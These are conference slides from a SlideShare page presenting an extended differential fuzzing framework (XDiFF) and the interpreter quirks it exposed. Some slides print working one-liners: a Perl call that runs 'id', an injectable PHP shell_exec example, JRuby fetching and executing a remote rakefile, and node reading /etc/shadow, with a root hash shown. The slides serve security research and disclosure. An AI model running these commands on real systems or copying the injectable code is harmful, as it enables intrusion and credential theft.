SlideShare una empresa de Scribd logo
1 de 58
Descargar para leer sin conexión
IOActive, Inc. Copyright ©2018. All Rights Reserved.
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Exposing Hidden Exploitable
Behaviors Using Extended
Differential Fuzzing
Fernando Arnaboldi
Milan - November, 2018
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Agenda
• 1. What, Who, How & Why
• 2. Common Fuzzing
• 3. Differential Fuzzing
• 4. Extended Differential Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.1. What Do You Expect From Fuzzing?
• Fuzzing exposes undisclosed
functionalities or unexpected
behaviors.
• Extended differential fuzzing
can expose more stuff
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.2. Who Cares About Fuzzing?
• Security Consultants
• Software Testers
• Software Developers
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How
• Manually or
• Using an extended differential fuzzing framework (XDiFF)
– Open source Python project
– Multiplatform (FreeBSD, Linux, OSX,
Windows)
– Gathers all the information
– Exposes the unexpected behaviors
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How: Fuzzing Process
Input
Generation
Software
Execution
Output
Analysis
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How: Generate the testcases
Create a new databaseDefine the base values to be
replaced (aka “functions”)
Define the values to
insert in the function
Permute the values
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.3. How: Define the Software
Pick a name
Define the OS
Define the Input: CLI, File, URL, Stdin
Define the Software
IOActive, Inc. Copyright ©2018. All Rights Reserved.
1.4. Why this approach? To automatize the
output analysis
IOActive, Inc. Copyright ©2018. All Rights Reserved.
0.1 + 0.2 - 0.3 = 0? Nah
IOActive, Inc. Copyright ©2018. All Rights Reserved.
9007199254740992 + 1 = 9007199254740992
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Common Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. What to Detect:
• Crashes
• Hangs
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Common Fuzzing: Crashes
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Crashes: XDiFF Output – Valgrind
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Crashes: XDiFF Output – Return Codes
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Ruby
HHVM
2. Crashes
Pypy
Perl
ChakraCore
IOActive, Inc. Copyright ©2018. All Rights Reserved.
2. Crashes: XDiFF Output – Hangs
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3. Differential Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3. What is Differential Fuzzing?
• “Execute one or more similar implementations to compare and analize
their outputs”
• What do we mean by output?
– The standard output
– The standard error
– The network connections
– The return code
– The time required for the execution
– If the software was killed or not
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3. What to Execute
• 3.1. Different implementations
• 3.2. Different inputs:
– CLI
– File
– URL
– Standard Input
• 3.3. Different versions
• 3.4. Different operating systems
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.1. Different Implementations
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.1. Different Implementations: Stdout
V8 (CLI) SpiderMonkey (CLI) NodeJS v7.2.1 (CLI)
$ d8 -e 'print(this)’
[object.global]
$ js -e 'print(this)’
[object.global]
$ node -e 'console.log(this)'
{
[...SNIP...]
USER: 'testuser',
PATH: '/opt/local/bin:…',
PWD: '/Users/testuser,
HOME: '/Users/testuser',
pid: 60094,
[...SNIP...]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.1. Different Implementations: Killed or Stderr
OpenJDK 8 Oracle 9
Killed No Yes
Stderr
Exception in thread “main” java.lang.OutOfMemoryError: Java heap space
at sun.security.provider.NativePRNG$RandomIO.implGenerateSeed(NativePRNG.java:440)
[…]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.2. Different Inputs
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.2. Different Inputs: Stdout
NodeJS v7.2.1 (File) NodeJS v7.2.1 (CLI)
$ echo "console.log(this)" > file.js ; node file.js
{}
$ node -e 'console.log(this)'
{
[...SNIP...]
USER: 'testuser',
PATH: '/opt/local/bin:…',
PWD: '/Users/testuser,
HOME: '/Users/testuser',
pid: 60094,
[...SNIP...]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.2. Different Inputs: Stdout
Windows 10 Powershell (File) Windows 10 Powershell (CLI)
C:>echo Invoke-Expression dir > test.ps1
C:>powershell "& ""c:test.ps1""”
& : File C:test.ps1 cannot be loaded because
running scripts is disabled on this system.
For more information, see
about_Execution_Policies at
https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:3
+ & "c:test.ps1”
+ ~~~~~~~~~~~~~
+ CategoryInfo : SecurityError:
(:) [], PSSecurityException
+ FullyQualifiedErrorId :
UnauthorizedAccess
C:>powershell -Command Invoke-Expression dir
Directory: C:
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/13/2017 5:41 PM PerfLogs
d-r--- 3/2/2018 8:45 AM Program Files
d-r--- 3/1/2018 12:16 PM Program Files(x86)
d-r--- 3/1/2018 12:20 PM Users
d----- 3/6/2018 3:15 AM Windows
-a---- 3/28/2018 10:34 AM 24 test.ps1
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.3. Different Versions
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.3. Different Versions: Stdout
NodeJS v0.4.0 (CLI) NodeJS v7.2.1 (CLI)
$ node -e ‘console.log(this)’
{}
$ node -e 'console.log(this)'
{
[...SNIP...]
USER: 'testuser',
PATH: '/opt/local/bin:…',
PWD: '/Users/testuser,
HOME: '/Users/testuser',
pid: 60094,
[...SNIP...]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.3. Different Versions: Return Code or Stderr
OpenJDK 8 Oracle 9
Return
Code
0 1
Stderr
Warning: SecureRandom is internal
proprietary API and may be removed in a
future release
Package sun.security.provider is not
visible
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different Operating Systems
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different OS: Stdout
• In Python 2.7 the built-in functionality cmp() compares two objects:
• The following compares two floating point "not a number” values:
print(cmp(float('nan'),float('nan')))
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different OS: Stdout (cont).
Software OS Stdout
CPython
Linux -1
Freebsd 1
OS X 1
Windows 1
PyPy
Linux 0
Freebsd 0
OS X 0
Windows 0
Jython
Linux 1
Freebsd 1
OS X 1
Windows 1
IOActive, Inc. Copyright ©2018. All Rights Reserved.
3.4. Different OS: Stdout
Windows 10 Powershell (File) Linux Powershell (File)
C:>echo Invoke-Expression dir > test.ps1
C:>powershell "& ""c:test.ps1""”
& : File C:test.ps1 cannot be loaded because
running scripts is disabled on this system. For more
information, see about_Execution_Policies at
https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:3
+ & "c:test.ps1”
+ ~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [],
PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
# echo Invoke-Expression dir > test.ps1
# pwsh test.ps1
Directory: /
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/13/18 6:07 AM bin
d----- 3/3/18 3:23 PM boot
d----- 3/16/18 5:45 PM dev
d----- 4/5/18 9:13 AM etc
d----- 3/12/18 4:33 PM home
[…]
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4. Extended Differential Fuzzing
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4. What to Detect:
• Path Disclosure
• User Disclosure
• Error Disclosure
• Code Evaluated
• Command Executed
• Network Connections
• File Read
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. How Files are Deleted in Linux/OSX
server:tmp $ rm non-existing-file
rm: non-existing-file: No such file or directory
server:tmp $ touch existing-file
server:tmp $ rm -i existing-file
remove existing-file?
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. Path Disclosure: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. Path Disclosure: Powershell
C:Users>powershell -Command Clear-Content -Confirm non-existing-file
Clear-Content : Cannot find path 'C:Usersnon-existing-file' because it
does not exist.
At line:1 char:1
+ Clear-Content -Confirm non-existing-file
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (C:Usersnon-existing-
file:String) [Clear-Content], ItemNotFoundExcepti
on
+ FullyQualifiedErrorId :
PathNotFound,Microsoft.PowerShell.Commands.ClearContentCommand
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.1. Path Disclosure: Powershell (cont’d)
C:Users>echo blah > existing-file
C:Users>powershell -Command Clear-Content -Confirm existing-file
Confirm
Are you sure you want to perform this action?
Performing the operation "Clear Content" on target "Item:
C:Usersexisting-file".
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help
(default is "Y"):
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.2. User Disclosure: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.2. User Disclosure
C:>powershell -Command Start-Transcript
Transcript started, output file is
C:UsersAdministratorDocumentsPowerShell_transcript.DESKTOP-
QIJDN98.xoUGhDVe.20180328104416.txt
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.3. Error Disclosure: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.4. Code Evaluated: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.4. Code Evaluated: Perl
# perl -e "use ExtUtils::Typemaps::Cmd;print embeddable_typemap("system 'id'")"
String found where operator expected at (eval 1) line 1, near "require
ExtUtils::Typemaps::system 'id'"
(Do you need to predeclare require?)
uid=0(root) gid=0(root) groups=0(root)
Unable to find typemap for 'system 'id'': Tried to load both as file or module
and failed.
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 1/4
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 1/3
• Let’s define the a bash constant on index.php:
• The previous file requires functions.php and shows a man page:
<?php
define("bash","man ");
require_once("functions.php");
?>
<?php
$output = shell_exec(bash.$_GET['page']);
print "<pre>".$output."</pre>";
?>
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 2/3
• The command “man ” is executed when index.php is called:
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.5. Command Execution: PHP 3/3
• The command “bash” is executed when functions.php is called:
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.6. Network Connection: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.6. Network Connection: JRuby RCE
# curl http://10.0.0.1/canaryfile
puts %x(id)
Ruby v2.3.1 JRuby v1.7.27
# ruby -e 'require "rake";puts
Rake.load_rakefile("http://10.0.0.1/canar
yfile")'
/usr/lib/ruby/vendor_ruby/rake/rake_mod
ule.rb:28:in `load': cannot load such file --
[...SNIP...]
# jruby -e 'require "rake";puts
Rake.load_rakefile("http://10.0.0.1/canar
yfile")'
uid=0(root) gid=0(root) groups=0(root)
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.7. File Read: XDiFF Output
IOActive, Inc. Copyright ©2018. All Rights Reserved.
4.7. File Read: Leak Root’s Password
NodeJS with Chakracore NodeJS v4.2.6 with V8
# node -e "console.log(require('/etc/shadow))"
SyntaxError: Invalid character
[...SNIP...]
# node -e "console.log(require('/etc/shadow'))"
/etc/shadow:1
(function (exports, require, module, __filename,
__dirname) {
root:$6$AP53wsfZ$XdxiQRFJF6PzdRd3SxD
eIwKsmyEkWgNOSSg.WZR18KfLo617cR1Z
swMZEPT5QTS95aH.NI2DrqmQ8rMbm8sIq/:
17172:0:14600:14:::
^
SyntaxError: Unexpected token :
IOActive, Inc. Copyright ©2018. All Rights Reserved.
Extended Differential Fuzzing Conclusions
• Analyze different vulnerabilities
• Expose more vulnerabilities by differential analysis
• One payload could be used affect multiple pieces of
software
IOActive, Inc. Copyright ©2018 All Rights Reserved.
Questions?
IOActive, Inc. Copyright ©2018 All Rights Reserved.
Tante Grazie !
XDiFF (Extended Differential Fuzzer):
https://github.com/IOActive/XDiFF

Más contenido relacionado

La actualidad más candente

Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
Lucidworks
 
Java Symmetric
Java SymmetricJava Symmetric
Java Symmetric
phanleson
 
Threat stack aws
Threat stack awsThreat stack aws
Threat stack aws
Jen Andre
 

La actualidad más candente (20)

C++ The Principles of Most Surprise
C++ The Principles of Most SurpriseC++ The Principles of Most Surprise
C++ The Principles of Most Surprise
 
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
DEF CON 23: Stick That In Your (root)Pipe & Smoke ItDEF CON 23: Stick That In Your (root)Pipe & Smoke It
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
 
The Ring programming language version 1.5.4 book - Part 15 of 185
The Ring programming language version 1.5.4 book - Part 15 of 185The Ring programming language version 1.5.4 book - Part 15 of 185
The Ring programming language version 1.5.4 book - Part 15 of 185
 
Mastering Java ByteCode
Mastering Java ByteCodeMastering Java ByteCode
Mastering Java ByteCode
 
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
Distributed Search in Riak - Integrating Search in a NoSQL Database: Presente...
 
Gatekeeper Exposed
Gatekeeper ExposedGatekeeper Exposed
Gatekeeper Exposed
 
Java Symmetric
Java SymmetricJava Symmetric
Java Symmetric
 
Cansecwest_16_Dont_Trust_Your_Eye_Apple_Graphics_Is_Compromised
Cansecwest_16_Dont_Trust_Your_Eye_Apple_Graphics_Is_CompromisedCansecwest_16_Dont_Trust_Your_Eye_Apple_Graphics_Is_Compromised
Cansecwest_16_Dont_Trust_Your_Eye_Apple_Graphics_Is_Compromised
 
Threat stack aws
Threat stack awsThreat stack aws
Threat stack aws
 
iOS Automation Primitives
iOS Automation PrimitivesiOS Automation Primitives
iOS Automation Primitives
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling Pickles
 
How to Design a Great API (using flask) [ploneconf2017]
How to Design a Great API (using flask) [ploneconf2017]How to Design a Great API (using flask) [ploneconf2017]
How to Design a Great API (using flask) [ploneconf2017]
 
Lean React - Patterns for High Performance [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]Lean React - Patterns for High Performance [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]
 
Denis Zhuchinski Ways of enhancing application security
Denis Zhuchinski Ways of enhancing application securityDenis Zhuchinski Ways of enhancing application security
Denis Zhuchinski Ways of enhancing application security
 
Recon2016 shooting the_osx_el_capitan_kernel_like_a_sniper_chen_he
Recon2016 shooting the_osx_el_capitan_kernel_like_a_sniper_chen_heRecon2016 shooting the_osx_el_capitan_kernel_like_a_sniper_chen_he
Recon2016 shooting the_osx_el_capitan_kernel_like_a_sniper_chen_he
 
DLL Hijacking on OS X
DLL Hijacking on OS XDLL Hijacking on OS X
DLL Hijacking on OS X
 
SIngle Sign On with Keycloak
SIngle Sign On with KeycloakSIngle Sign On with Keycloak
SIngle Sign On with Keycloak
 
Inspecting iOS App Traffic with JavaScript - JSOxford - Jan 2018
Inspecting iOS App Traffic with JavaScript - JSOxford - Jan 2018Inspecting iOS App Traffic with JavaScript - JSOxford - Jan 2018
Inspecting iOS App Traffic with JavaScript - JSOxford - Jan 2018
 
DEF CON 23: 'DLL Hijacking' on OS X? #@%& Yeah!
DEF CON 23: 'DLL Hijacking' on OS X? #@%& Yeah!DEF CON 23: 'DLL Hijacking' on OS X? #@%& Yeah!
DEF CON 23: 'DLL Hijacking' on OS X? #@%& Yeah!
 
Trying to learn C# (NDC Oslo 2019)
Trying to learn C# (NDC Oslo 2019)Trying to learn C# (NDC Oslo 2019)
Trying to learn C# (NDC Oslo 2019)
 

Similar a Fernando Arnaboldi - Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing - Codemotion Milan 2018

What Big Data Folks Need to Know About DevOps
What Big Data Folks Need to Know About DevOpsWhat Big Data Folks Need to Know About DevOps
What Big Data Folks Need to Know About DevOps
Matt Ray
 
Breaking Extreme Networks WingOS: How to own millions of devices running on A...
Breaking Extreme Networks WingOS: How to own millions of devices running on A...Breaking Extreme Networks WingOS: How to own millions of devices running on A...
Breaking Extreme Networks WingOS: How to own millions of devices running on A...
Priyanka Aash
 
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on..." Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
PROIDEA
 
Flash security past_present_future_final_en
Flash security past_present_future_final_enFlash security past_present_future_final_en
Flash security past_present_future_final_en
Sunghun Kim
 
Csw2016 chen grassi-he-apple_graphics_is_compromised
Csw2016 chen grassi-he-apple_graphics_is_compromisedCsw2016 chen grassi-he-apple_graphics_is_compromised
Csw2016 chen grassi-he-apple_graphics_is_compromised
CanSecWest
 
Kinect installation guide
Kinect installation guideKinect installation guide
Kinect installation guide
gilmsdn
 

Similar a Fernando Arnaboldi - Exposing Hidden Exploitable Behaviors Using Extended Differential Fuzzing - Codemotion Milan 2018 (20)

Log4Shell - Armageddon or Opportunity.pptx
Log4Shell - Armageddon or Opportunity.pptxLog4Shell - Armageddon or Opportunity.pptx
Log4Shell - Armageddon or Opportunity.pptx
 
Beyond the 'cript practical i os reverse engineering lascon
Beyond the 'cript  practical i os reverse engineering lasconBeyond the 'cript  practical i os reverse engineering lascon
Beyond the 'cript practical i os reverse engineering lascon
 
One bite and all your dreams will come true: Analyzing and Attacking Apple Ke...
One bite and all your dreams will come true: Analyzing and Attacking Apple Ke...One bite and all your dreams will come true: Analyzing and Attacking Apple Ke...
One bite and all your dreams will come true: Analyzing and Attacking Apple Ke...
 
iOS Client Side Analysis
iOS Client Side AnalysisiOS Client Side Analysis
iOS Client Side Analysis
 
What Big Data Folks Need to Know About DevOps
What Big Data Folks Need to Know About DevOpsWhat Big Data Folks Need to Know About DevOps
What Big Data Folks Need to Know About DevOps
 
Breaking Extreme Networks WingOS: How to own millions of devices running on A...
Breaking Extreme Networks WingOS: How to own millions of devices running on A...Breaking Extreme Networks WingOS: How to own millions of devices running on A...
Breaking Extreme Networks WingOS: How to own millions of devices running on A...
 
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on..." Breaking Extreme Networks WingOS: How to own millions of devices running on...
" Breaking Extreme Networks WingOS: How to own millions of devices running on...
 
Flash security past_present_future_final_en
Flash security past_present_future_final_enFlash security past_present_future_final_en
Flash security past_present_future_final_en
 
Static Code Analysis PHP[tek] 2023
Static Code Analysis PHP[tek] 2023Static Code Analysis PHP[tek] 2023
Static Code Analysis PHP[tek] 2023
 
PyCon AU 2012 - Debugging Live Python Web Applications
PyCon AU 2012 - Debugging Live Python Web ApplicationsPyCon AU 2012 - Debugging Live Python Web Applications
PyCon AU 2012 - Debugging Live Python Web Applications
 
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложениеJS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
 
Csw2016 chen grassi-he-apple_graphics_is_compromised
Csw2016 chen grassi-he-apple_graphics_is_compromisedCsw2016 chen grassi-he-apple_graphics_is_compromised
Csw2016 chen grassi-he-apple_graphics_is_compromised
 
Kinect installation guide
Kinect installation guideKinect installation guide
Kinect installation guide
 
BlackHat EU 2012 - Zhenhua Liu - Breeding Sandworms: How To Fuzz Your Way Out...
BlackHat EU 2012 - Zhenhua Liu - Breeding Sandworms: How To Fuzz Your Way Out...BlackHat EU 2012 - Zhenhua Liu - Breeding Sandworms: How To Fuzz Your Way Out...
BlackHat EU 2012 - Zhenhua Liu - Breeding Sandworms: How To Fuzz Your Way Out...
 
JHipster Beyond CRUD - JHipster Conf' 2019
JHipster Beyond CRUD - JHipster Conf' 2019JHipster Beyond CRUD - JHipster Conf' 2019
JHipster Beyond CRUD - JHipster Conf' 2019
 
Fighting Malware Without Antivirus
Fighting Malware Without AntivirusFighting Malware Without Antivirus
Fighting Malware Without Antivirus
 
Webinar–Mobile Application Hardening Protecting Business Critical Apps
Webinar–Mobile Application Hardening Protecting Business Critical AppsWebinar–Mobile Application Hardening Protecting Business Critical Apps
Webinar–Mobile Application Hardening Protecting Business Critical Apps
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
DEFCON 23 - Fernando Arnaboldi - abusing xslt for practical
DEFCON 23 - Fernando Arnaboldi - abusing xslt for practicalDEFCON 23 - Fernando Arnaboldi - abusing xslt for practical
DEFCON 23 - Fernando Arnaboldi - abusing xslt for practical
 
Practical Chaos Engineering
Practical Chaos EngineeringPractical Chaos Engineering
Practical Chaos Engineering
 

Más de Codemotion

Más de Codemotion (20)

Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
 
Pompili - From hero to_zero: The FatalNoise neverending story
Pompili - From hero to_zero: The FatalNoise neverending storyPompili - From hero to_zero: The FatalNoise neverending story
Pompili - From hero to_zero: The FatalNoise neverending story
 
Pastore - Commodore 65 - La storia
Pastore - Commodore 65 - La storiaPastore - Commodore 65 - La storia
Pastore - Commodore 65 - La storia
 
Pennisi - Essere Richard Altwasser
Pennisi - Essere Richard AltwasserPennisi - Essere Richard Altwasser
Pennisi - Essere Richard Altwasser
 
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
 
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
 
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
 
Francesco Baldassarri - Deliver Data at Scale - Codemotion Amsterdam 2019 -
Francesco Baldassarri  - Deliver Data at Scale - Codemotion Amsterdam 2019 - Francesco Baldassarri  - Deliver Data at Scale - Codemotion Amsterdam 2019 -
Francesco Baldassarri - Deliver Data at Scale - Codemotion Amsterdam 2019 -
 
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
 
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
 
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
 
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
 
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
 
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
 
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
 
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
 
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
 
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
 
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
 
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019
 

Último

Último (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
